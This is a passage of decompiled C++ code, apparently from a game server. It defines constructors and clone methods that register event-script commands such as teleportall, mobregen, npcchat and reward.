using guessed type int (__stdcall *PineEventScriptNode__ShinePlayerWalk___vftable_)(int tr); //----- (004AE7C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineFindPlayer::ShineFindPlayer(PineEventScriptNode::ShineFindPlayer *this) { PineEventScriptNode::ShineFindPlayer *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "findplayer", 1u, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineFindPlayer::_vftable_; } // 5BF630: using guessed type int (__stdcall *PineEventScriptNode__ShineFindPlayer___vftable_)(int tr); //----- (004AE7E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineTeleportAll::ShineTeleportAll(PineEventScriptNode::ShineTeleportAll *this) { PineEventScriptNode::ShineTeleportAll *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "teleportall", 1u, 0, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTeleportAll::_vftable_; } // 5BF650: using guessed type int (__stdcall *PineEventScriptNode__ShineTeleportAll___vftable_)(int tr); //----- (004AE800) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBriefEffect::ShineBriefEffect(PineEventScriptNode::ShineBriefEffect *this) { PineEventScriptNode::ShineBriefEffect *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "briefeffect", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBriefEffect::_vftable_; } // 5BF670: using guessed type int (__stdcall *PineEventScriptNode__ShineBriefEffect___vftable_)(int tr); //----- (004AE820) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineBanFromArea::ShineBanFromArea(PineEventScriptNode::ShineBanFromArea *this) { PineEventScriptNode::ShineBanFromArea *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "banfromarea", 0, 5, 5); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineBanFromArea::_vftable_; } // 5BF690: using guessed type int (__stdcall *PineEventScriptNode__ShineBanFromArea___vftable_)(int tr); //----- (004AE840) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRegesteFlag::ShineRegesteFlag(PineEventScriptNode::ShineRegesteFlag *this) { PineEventScriptNode::ShineRegesteFlag *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "RegisteFlag", 0, 3, 3); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteFlag::_vftable_; } // 5BF6B0: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteFlag___vftable_)(int tr); //----- (004AE860) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRegesteGate::ShineRegesteGate(PineEventScriptNode::ShineRegesteGate *this) { PineEventScriptNode::ShineRegesteGate *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "RegisteGate", 0, 4, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegesteGate::_vftable_; } // 5BF6D0: using guessed type int (__stdcall *PineEventScriptNode__ShineRegesteGate___vftable_)(int tr); //----- (004AE880) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDiceGameStart::ShineDiceGameStart(PineEventScriptNode::ShineDiceGameStart *this) { PineEventScriptNode::ShineDiceGameStart *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "DiceGameStart", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDiceGameStart::_vftable_; } // 5BF6F0: using guessed type int (__stdcall *PineEventScriptNode__ShineDiceGameStart___vftable_)(int tr); //----- (004AE8A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRevival::ShineRevival(PineEventScriptNode::ShineRevival *this) { PineEventScriptNode::ShineRevival *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "revival", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRevival::_vftable_; } // 5BF714: using guessed type int (__stdcall *PineEventScriptNode__ShineRevival___vftable_)(int tr); //----- (004AE8C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineSpawn::ShineSpawn(PineEventScriptNode::ShineSpawn *this) { PineEventScriptNode::ShineSpawn *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "spawn", 0, 1, 2); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSpawn::_vftable_; } // 5BF730: using guessed type int (__stdcall *PineEventScriptNode__ShineSpawn___vftable_)(int tr); //----- (004AE8E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineHPSet::ShineHPSet(PineEventScriptNode::ShineHPSet *this) { PineEventScriptNode::ShineHPSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "hpset", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineHPSet::_vftable_; } // 5BF74C: using guessed type int (__stdcall *PineEventScriptNode__ShineHPSet___vftable_)(int tr); //----- (004AE900) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePrintf::sb_CloneMe(PineEventScriptNode::ShinePrintf *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "printf", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePrintf::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BED5C: using guessed type int (__stdcall *PineEventScriptNode__ShinePrintf___vftable_)(int tr); //----- (004AE960) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineScriptFile::sb_CloneMe(PineEventScriptNode::ShineScriptFile *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "scriptfile", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScriptFile::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BED78: using guessed type int (__stdcall *PineEventScriptNode__ShineScriptFile___vftable_)(int tr); //----- (004AE9C0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineTimeLimit::sb_CloneMe(PineEventScriptNode::ShineTimeLimit *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "timelimit", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTimeLimit::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BED98: using guessed type int (__stdcall *PineEventScriptNode__ShineTimeLimit___vftable_)(int tr); //----- (004AEA20) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptClear::sb_CloneMe(PineEventScriptNode::ShineInterruptClear *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "interruptclear", 0, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptClear::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEDB8: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptClear___vftable_)(int tr); //----- (004AEA80) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptSet::sb_CloneMe(PineEventScriptNode::ShineInterruptSet *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "interruptset", 1u, 3, 5); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptSet::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEDDC: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptSet___vftable_)(int tr); //----- (004AEAE0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineInterruptErase::sb_CloneMe(PineEventScriptNode::ShineInterruptErase *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "interrupterase", 0, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptErase::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEE00: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptErase___vftable_)(int tr); //----- (004AEB40) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitInterrupt::sb_CloneMe(PineEventScriptNode::ShineWaitInterrupt *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "waitinterrupt", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitInterrupt::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEE24: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitInterrupt___vftable_)(int tr); //----- (004AEBA0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineMobRegen::sb_CloneMe(PineEventScriptNode::ShineMobRegen *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "mobregen", 1u, 6, 7); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobRegen::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEE48: using guessed type int (__stdcall *PineEventScriptNode__ShineMobRegen___vftable_)(int tr); //----- (004AEC00) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorBuild::sb_CloneMe(PineEventScriptNode::ShineDoorBuild *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "doorbuild", 1u, 6, 6); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorBuild::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEE5C: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorBuild___vftable_)(int tr); //----- (004AEC60) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCStand::sb_CloneMe(PineEventScriptNode::ShineNPCStand *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "npcstand", 1u, 6, 6); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCStand::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEE70: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCStand___vftable_)(int tr); //----- (004AECC0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Mob::sb_CloneMe(PineEventScriptNode::ShineChange2Mob *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "change2mob", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Mob::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEE84: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Mob___vftable_)(int tr); //----- (004AED20) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2Door::sb_CloneMe(PineEventScriptNode::ShineChange2Door *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "change2door", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Door::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEE98: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Door___vftable_)(int tr); //----- (004AED80) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChange2NPC::sb_CloneMe(PineEventScriptNode::ShineChange2NPC *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "change2npc", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2NPC::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEEAC: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2NPC___vftable_)(int tr); //----- (004AEDE0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineExchange2Mob::sb_CloneMe(PineEventScriptNode::ShineExchange2Mob *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "exchange2mob", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineExchange2Mob::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEEC0: using guessed type int (__stdcall *PineEventScriptNode__ShineExchange2Mob___vftable_)(int tr); //----- (004AEE40) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorOpen::sb_CloneMe(PineEventScriptNode::ShineDoorOpen *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "dooropen", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorOpen::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEEE4: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorOpen___vftable_)(int tr); //----- (004AEEA0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineDoorClose::sb_CloneMe(PineEventScriptNode::ShineDoorClose *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "doorclose", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorClose::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEF04: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorClose___vftable_)(int tr); //----- (004AEF00) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineObjectVanish::sb_CloneMe(PineEventScriptNode::ShineObjectVanish *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "vanish", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectVanish::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEF24: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectVanish___vftable_)(int tr); //----- (004AEF60) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineRegenGroup::sb_CloneMe(PineEventScriptNode::ShineRegenGroup *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "regengroup", 0, 2, 4); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegenGroup::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEF40: using guessed type int (__stdcall *PineEventScriptNode__ShineRegenGroup___vftable_)(int tr); //----- (004AEFC0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineWaitUserLogin::sb_CloneMe(PineEventScriptNode::ShineWaitUserLogin *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "waitlogin", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitUserLogin::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEF60: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitUserLogin___vftable_)(int tr); //----- (004AF020) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShinePause::sb_CloneMe(PineEventScriptNode::ShinePause *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "pause", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePause::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEF80: using guessed type int (__stdcall *PineEventScriptNode__ShinePause___vftable_)(int tr); //----- (004AF080) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCChat::sb_CloneMe(PineEventScriptNode::ShineNPCChat *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "npcchat", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCChat::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEF9C: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCChat___vftable_)(int tr); //----- (004AF0E0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineNPCShout::sb_CloneMe(PineEventScriptNode::ShineNPCShout *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "npcshout", 1u, 1, 1); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCShout::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEFB8: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCShout___vftable_)(int tr); //----- (004AF140) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindow::sb_CloneMe(PineEventScriptNode::ShineChatWindow *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "chatwin", 0, 2, 9); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindow::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEFD8: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindow___vftable_)(int tr); //----- (004AF1A0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineChatWindowRange::sb_CloneMe(PineEventScriptNode::ShineChatWindowRange *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "chatwinrange", 0, 4, 9); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChatWindowRange::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BEFF4: using guessed type int (__stdcall *PineEventScriptNode__ShineChatWindowRange___vftable_)(int tr); //----- (004AF200) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSomeoneShout::sb_CloneMe(PineEventScriptNode::ShineSomeoneShout *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "someoneshout", 0, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSomeoneShout::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF018: using guessed type int (__stdcall *PineEventScriptNode__ShineSomeoneShout___vftable_)(int tr); //----- (004AF260) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineSummonMob::sb_CloneMe(PineEventScriptNode::ShineSummonMob *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "summonmob", 1u, 2, 2); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineSummonMob::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF03C: using guessed type int (__stdcall *PineEventScriptNode__ShineSummonMob___vftable_)(int tr); //----- (004AF2C0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineQuestResult::sb_CloneMe(PineEventScriptNode::ShineQuestResult *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "questresult", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineQuestResult::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF05C: using guessed type int (__stdcall *PineEventScriptNode__ShineQuestResult___vftable_)(int tr); //----- (004AF320) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineReward::sb_CloneMe(PineEventScriptNode::ShineReward *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v1 = operator new(0xBCu); v2 = (PineEventScriptNode::OtherStatement *)v1; v3 = v1; result = 0; if ( v3 ) { PineEventScriptNode::OtherStatement::OtherStatement(v2, "reward", 1u, 0, 0); v2->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineReward::_vftable_; result = (PineEventScriptNode::StatementBase *)v2; } return result; } // 5BF07C: using guessed type int (__stdcall *PineEventScriptNode__ShineReward___vftable_)(int tr); //----- (004AF380) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::ShineBroadcast::sb_CloneMe(PineEventScriptNode::ShineBroadcast *this) { void *v1; // eax@1 PineEventScriptNode::OtherStatement *v2; // esi@1 void *v3; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 